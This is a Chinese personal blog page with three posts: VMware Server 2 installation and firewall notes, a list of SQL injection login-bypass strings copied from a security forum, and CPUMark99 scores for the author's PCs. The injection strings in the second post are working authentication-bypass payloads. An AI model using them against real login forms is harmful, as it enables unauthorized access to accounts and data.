2009年10月13日 星期二

VMWare Server 2 For Linux 安裝筆記



在Linux安裝VMWare Server,

系統需要先安裝: (先切換到su,會比較沒有麻煩)
1.Linux kernel-devel 和 xintd
# yum install kernel-devel xinetd

如果在Ubuntu可以用: # sudo apt-get install linux-headers-'uname -r'
build-essential

2.gcc
# yum groupinstall "Development Libraries" "Development Tools"

# yum install gcc


切換到su
安裝VMServer的RPM檔 ( xxxx是版本 )
# rpm -Uhv VMware-server-xxxx.rpm

最後 要做設定
Run the configuration script:
# ./vmware-config.pl


裝好之後要注意Linux的防火牆設定!
要在iptables中將VM的http和https的port開啟!
1.可以使用CentOS中的setup指令,自訂接受的port。
2.到/etc/sysconfig/iptables這個檔案中去新增規則。
  規則如下:
  -A RH-Firewall-1-INPUT -m state --state NEW -m udp -p udp --dport 8222 -j
ACCEPT
  -A RH-Firewall-1-INPUT -m state --state NEW -m udp -p udp --dport 8333 -j
ACCEPT


=============================================
VIClient要登入時,
位址的部分,要從https的port去登入。
=============================================
關閉web服務,只用viclient。增加效能。

關閉WebAccess:
# service vmware-mgmt stop

寫入檔案:
# vi /etc/init.d/vmware
將檔案中的#vmware_start_webAccess這一行屏蔽掉(在最後一個段落)。(用井字號# )  (
修改/etc/init.d/vmware, 屏蔽: line 1202:)

If you want to turn off HTTP/HTTPS access completely (strangely, I didn't see
any reduction in memory usage when I did this), comment out the _entire_

<proxysvc> section in the file /etc/vmware/hostd/proxy.xml and restart hostd.

# service vmware-mgmt stop && service vmware-mgmt start

參考網址:
1.VMware Server 2 for Linux: HOW-TO Disable VMware Virtual Infrastructure Web
Access:

http://blog.netnerds.net/2009/01/vmware-server-2-for-linux-how-to-disable-vmware-virtual-infrastructure-web-access/
2.HOWTO: VMWare Server 2, Disable Web Server Interface:

http://www.linux.com/community/blogs/howto-vmware-server-2-disable-web-server-interface.html




2009年10月6日 星期二

SQL Injection Strings (帳密資安)



來源網站:http://www.governmentsecurity.org/forum/index.php?showtopic=344&st=0&#entry935


admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a


2009年10月5日 星期一

我的電腦的CPUMark99列表總整理


Celeron NorthWood 2.4G  + SOYO P4X400 DRAGON Ultra
CPUMark99 Score:92.3

Athlon XP 1800+ 1533MHz Palomino + Gigabyte 7vrx
CPUMark99 Score:142

Athlon XP 1800+ 1533MHz Thoroughbred + Gigabyte 7VM400M
CPUMark99 Score:132

Acer TravelMate 3211WXCi + Intel Pentium M 730  1.60GHz  Dothan
CPUMark99 Score:190

EeePC 701 + Celeron M ULV 353 900MHz in 630 MHz(70 MHz x 9)
CPUMark99 Score:66.8

EeePC 701 + Celeron M ULV 353 900MHz in 900MHz
CPUMark99 Score:101

(Intel Atom N270 CPUMark99 Score: 111 )

仁寶 JFT00 (Dell Vostro 1200) + Intel Mobile Core 2 Duo T7500 @ 2.20GHz
CPUMark99 Score:310

浩鑫 Shuttle XPC SS31T + Celeron E1400 @ 2.00GHz
CPUMark99 Score:249

精英EVCM-F + VIA C3 1.0G
CPUMark99 Score:63.3

Celeron 1G (P3等級) + Intel 815 Chipset 雜牌主機板
CPUMark99 Score:66.7